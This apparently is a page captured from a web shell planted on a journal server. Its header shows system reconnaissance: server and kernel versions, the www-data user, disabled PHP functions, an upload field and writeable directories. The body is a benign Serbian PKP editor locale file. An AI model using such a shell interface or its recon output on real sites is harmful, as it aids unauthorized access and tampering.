KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/lib/pkp/locale/sr_RS@latin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lib/pkp/locale/sr_RS@latin/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-11-19T10:50:04+00:00\n"
"PO-Revision-Date: 2019-11-19T10:50:04+00:00\n"
"Language: \n"

msgid "editor.submissionLibrary"
msgstr "Biblioteka predaja"

msgid "editor.review.notInitiated"
msgstr "Proces recenziranja još nije započet."

msgid "editor.submission.copyediting.personalMessageToUser"
msgstr "Poruka za korisnika"

msgid "editor.submission.externalReviewDescription"
msgstr "Izaberite fajlove kako bi ih poslali u fazu recenzije."

msgid "editor.submission.fileAuditor.form.fileRequired"
msgstr "Morate izabrati najmanje jedan fajl da biste mu dodelili korisnika."

msgid "editor.submission.fileAuditor.form.messageRequired"
msgstr "Morate uključiti privatnu poruku."

msgid "editor.submission.fileAuditor.skipEmail"
msgstr "Ne šaljite imejl revizoru"

msgid "editor.submission.fileAuditor.form.userRequired"
msgstr "Morate odabrati korisnika za dodelu."

msgid "editor.submission.uploadSelectFiles"
msgstr "Dodaj/odaberi fajlove"

msgid "editor.submission.selectFiles"
msgstr "Odaberi fajlove"

msgid "editor.submission.revisions"
msgstr "Revizije"

msgid "editor.submission.review.reviewersDescription"
msgstr "Koristite <em>+Dodaj recenzenta</em> da bi pozvali čitaoce da recenziraju predate fajlove. Ikona napomene ukazuje da je recenzija predata i koja je nakon toga označena kao <em>Primljeno</em> nakon što je konsultovana. Kada recenzija kasni, ikonica crvene koverte se pojavljuje kako bi podsetila recenzente ."

msgid "editor.submission.addReviewer"
msgstr "Dodaj recenzenta"

msgid "editor.submission.findAndSelectReviewer"
msgstr "Pronađi recenzenta"

msgid "editor.submission.findAndSelectUser"
msgstr "Pronađi korisnika"

msgid "editor.submission.fileList.includeAllStages"
msgstr "Pokaži fajlove iz svih dostupnih faza toka rada."

msgid "editor.submission.review.currentFiles"
msgstr "Trenutni fajlovi recenzije za krug {$round}"

msgid "editor.submission.backToSearch"
msgstr "Povratak na pretragu"

msgid "editor.review.createReviewer"
msgstr "Napravi novog recenzenta"

msgid "editor.review.enrollReviewer.short"
msgstr "Uključi postojećeg korisnika"

msgid "editor.review.unassignReviewer"
msgstr "Otkaži recenzenta"

msgid "editor.submissionReview.reviewType"
msgstr "Tip recenzije"

msgid "editor.submissionReview.skipEmail"
msgstr "Ne šalji imejl autoru"

msgid "editor.submissionReview.open"
msgstr "Otvorena"

msgid "editor.submissionReview.blind"
msgstr "Slepa"

msgid "editor.submissionReview.doubleBlind"
msgstr "Dvostruka slepa"

msgid "editor.submissionReview.restrictFiles"
msgstr "Fajlovi za recenziranje"

msgid "editor.submissionReview.restrictFiles.hide"
msgstr "Zatvori selekciju fajlova"

msgid "editor.submissionReview.editReview"
msgstr "Uredi recenziju"

msgid "editor.review.personalMessageToReviewer"
msgstr "Poruka koja će biti poslata recenzentu"

msgid "editor.review.importantDates"
msgstr "Važni datumi"

msgid "editor.review.uploadRevision"
msgstr "Dodaj reviziju"

msgid "editor.review.NotifyAuthorAccept"
msgstr "Obavesti autora da je njegov rad prihvaćen."

msgid "editor.review.NotifyAuthorDecline"
msgstr "Obavesti autora da njegov rad nije prihvaćen."

msgid "editor.review.NotifyAuthorRevisions"
msgstr "Zahtevaj reviziju od autora."

msgid "editor.review.NotifyAuthorResubmit"
msgstr "Zahtevaj reviziju od autora koja će biti tema narednih recenziranja."

msgid "editor.review.NotifyAuthorExternal"
msgstr "Obavesti autora o odluci da se pokrene recenziranje spoljašnjih recenzenata."

msgid "editor.review.personalMessageToAuthor"
msgstr "Imejl poruka koja će biti poslata autoru"

msgid "editor.review.dateAccepted"
msgstr "Razmotri datume prihvatanja"

msgid "editor.review.noReviews"
msgstr "Nema stručnih recenzija za uvoz"

msgid "editor.review.reminder"
msgstr "Podsetnik za recenzente"

msgid "editor.review.thankReviewer"
msgstr "Zahvali recenzentima"

msgid "editor.review.reminderError"
msgstr "Greška u slanju podsetnika za recenzente"

msgid "editor.review.thankReviewerError"
msgstr "Greška u slanju zahvalnice recenzentima"

msgid "editor.review.skipEmail"
msgstr "Ne šalji imejl recenzentu."

msgid "editor.review.sendReminder"
msgstr "Pošalji podsetnik"

msgid "editor.review.readReview"
msgstr "Pročitaj recenziju"

msgid "editor.review.readNewReview"
msgstr "Pročitaj nove recenzije"

msgid "editor.review.responseDue"
msgstr "Odgovoriti do datuma: {$date}"

msgid "editor.review.requestSent"
msgstr "Zahtev poslat"

msgid "editor.review.requestAccepted"
msgstr "Zahtev prihvaćen"

msgid "editor.review.revertDecision"
msgstr "Opovrgni odluku"

msgid "editor.review.reviewDue"
msgstr "Rok za predaju recenzije: {$date}"

msgid "editor.review.reviewDueDate"
msgstr "Rok za predaju recenzije"

msgid "editor.review.reviewCompleted"
msgstr "Recenzija završena"

msgid "editor.review.reviewConfirmed"
msgstr "Recenzija potvrđena"

msgid "editor.review.reviewSubmitted"
msgstr "Recenzija predata"

msgid "editor.review.reviewerComments"
msgstr "Komentari recenzenata"

msgid "editor.review.rateReviewer"
msgstr "Rangiranje recenzenta"

msgid "editor.review.mustSelect"
msgstr "Morate odabrati recenzenta"

msgid "editor.review.errorAddingReviewer"
msgstr "Došlo je do greške prilikom dodavanja recenzenta, pokušajte ponovo."

msgid "editor.review.errorDeletingReviewer"
msgstr "Došlo je do greške prilikom brisanja recenzenta, pokušajte ponovo."

msgid "editor.review.unconsiderReviewText"
msgstr "Da li želite da označite ovu recenziju kao neuvaženu? Istorija recenziranja će biti sačuvana."

msgid "editor.review.unconsiderReview"
msgstr "Označi recenziju kao neuvaženu"

msgid "editor.submission.selectReviewer"
msgstr "Odaberi recenzenta"

msgid "editor.submission.taskDueDate"
msgstr "Zadatak do datuma"

msgid "editor.submission.taskSchedule"
msgstr "Predviđeni zadaci"

msgid "editor.review.enrollReviewer"
msgstr "Uključi postojećeg korisnika kao recenzenta"

msgid "editor.submission.noAuditRequested"
msgstr "Nema zahteva za reviziju ovog fajla"

msgid "editor.submission.personalMessageToUser"
msgstr "Imejl koji će biti poslat korisniku"

msgid "editor.submission.proof.reminder"
msgstr "Podsetnik za finalnu proveru"

msgid "editor.submission.addAuditor"
msgstr "Dodeli revizora"

msgid "editor.review"
msgstr "Recenziraj"

msgid "editor.review.reviewDetails"
msgstr "Detalji recenziranja"

msgid "editor.review.noReviewFilesUploaded"
msgstr "Nema dostavljenih fajlova"

msgid "editor.review.noReviewFilesUploaded.details"
msgstr "Još niste dostavili ni jedan fajl recenzije."

msgid "editor.review.emailReviewer"
msgstr "Pošalji imejl recenzentu"

msgid "editor.submission.production.productionReadyFiles"
msgstr "Fajlovi spremni za produkciju"

msgid "editor.submission.newRound"
msgstr "Nova runda recenziranja"

msgid "editor.submissionReview.recordDecision"
msgstr "Zabeleži odluku urednika"

msgid "editor.submission.createNewRound"
msgstr "Napravi novi krug recenziranja"

msgid "editor.article.reviewForms"
msgstr "Obrasci recenzije"

msgid "editor.article.selectReviewForm"
msgstr "Odaberi obrazac recenzije"

msgid "editor.submission.noReviewerFilesSelected"
msgstr "Nema odabranih fajlova"

msgid "editor.submission.noReviewerFilesSelected.details"
msgstr "Niste odabrali ni jedan fajl koji bi recenzent pogledao."

msgid "submission.queries.subjectRequired"
msgstr "Tema diskusije je neophodan."

msgid "submission.queries.messageRequired"
msgstr "Poruka diskusije je neophodna."

msgid "submission.queries.attachedFiles"
msgstr "Dodati fajlovi"

msgid "grid.action.editQuery"
msgstr "Izmeni diskusiju"

msgid "editor.submission.selectedReviewer"
msgstr "Odabrani recenzent"

msgid "editor.submission.proofreading.approveProof"
msgstr "Odobri probnu kopiju"

msgid "editor.submission.proofreading.revokeProofApproval"
msgstr "Ukini odobrenje probne kopije"

msgid "editor.publicIdentificationExistsForTheSameType"
msgstr "Javni identifikator '{$publicIdentifier}' već postoji i dodeljen je drugom objektu istog tipa. Odaberite jedinstvene identifikatore za objekte istog tipa u časopisu."

msgid "editor.publicIdentificationNumericNotAllowed"
msgstr "Javni identifikator '{$publicIdentifier}' ne sme biti broj."

msgid "editor.publicIdentificationPatternNotAllowed"
msgstr "Šema {$pattern} nije dozvoljena za javni identifikator."

msgid "editor.submission.proofreading.confirmCompletion"
msgstr "Odobrite ovaj pruf kako bu naznačili da je korektura kompletna i da je fajl spreman za objavljivanje."

msgid "editor.submission.proofreading.confirmRemoveCompletion"
msgstr "Ukinite odobrenje za ovu finalnu proveru kako bi naznačili da korektura nije više kompletna i da fajl nije spreman za objavljivanje."

msgid "editor.review.userGroupSelect"
msgstr "Uključi korisnika u ovu grupu recenzenata"

msgid "editor.review.readConfirmation"
msgstr "Kada ste pročitali ovu recenziju pritisnite \"Potvrdi\" kako bi naznačili da proces recenziranja može da nastavi. Ukoliko je recenzent poslao recenziju negde drugde možete je dostaviti ovde i nakon toga pritisnuti \"Potvrdi\" za nastavak."

msgid "editor.submission.selectCopyedingFiles"
msgstr "Korektorski fajlovi"

msgid "editor.submission.editorial.approveCopyeditDescription"
msgstr "Fajl korekture mora biti odobren pre no što može biti poslat u fazu produkcije. Da li želite da odobrite ovaj fajl?"

msgid "editor.submission.editorial.disapproveCopyeditDescription"
msgstr "Ne odobravanje ovog korektorskog fajla učiniće ga nedostupnim za slanje u fazu produkcije. Da li želite da ga ne odobrite?"

msgid "editor.submission.copyedit.manageCopyeditFilesDescription"
msgstr "Svi fajlovi koji su već dodatiu bilo koju fazu predaje mogu da se dodaju u listu fajlova za korekturu označavanjem \"Uključi\" oznake ispod i \"Pretragom:\" svi raspoloživi fajlovi će biti izlistani i dostupni za izbor. Dodatni fajlovi koji još nisu dostavljeni mogu se dodatu opcijom \"Dostavi fajl\"."

msgid "editor.submission.newRoundDescription"
msgstr "Na putu ste da napravite novi krug recenziranja za ovu predaju. Fajlovi koji nisu korišćeni u prethodnim krugovima su izlistani niže."

msgid "editor.article.confirmChangeReviewForm"
msgstr "Upozorenje: Menjanje obrasca recenzije uticaće na sve odgovore koje su dali recenzenti koristeći ovaj obrazac. Da li želite da nastavite?"

msgid "editor.submission.query.manageQueryNoteFilesDescription"
msgstr "Fajlovi mogu biti dodati uz diskusiju iz liste niže."

msgid "editor.submission.schedulePublication"
msgstr "Dodeli za objavljivanje"

KUNTUL | JINGKONTOT |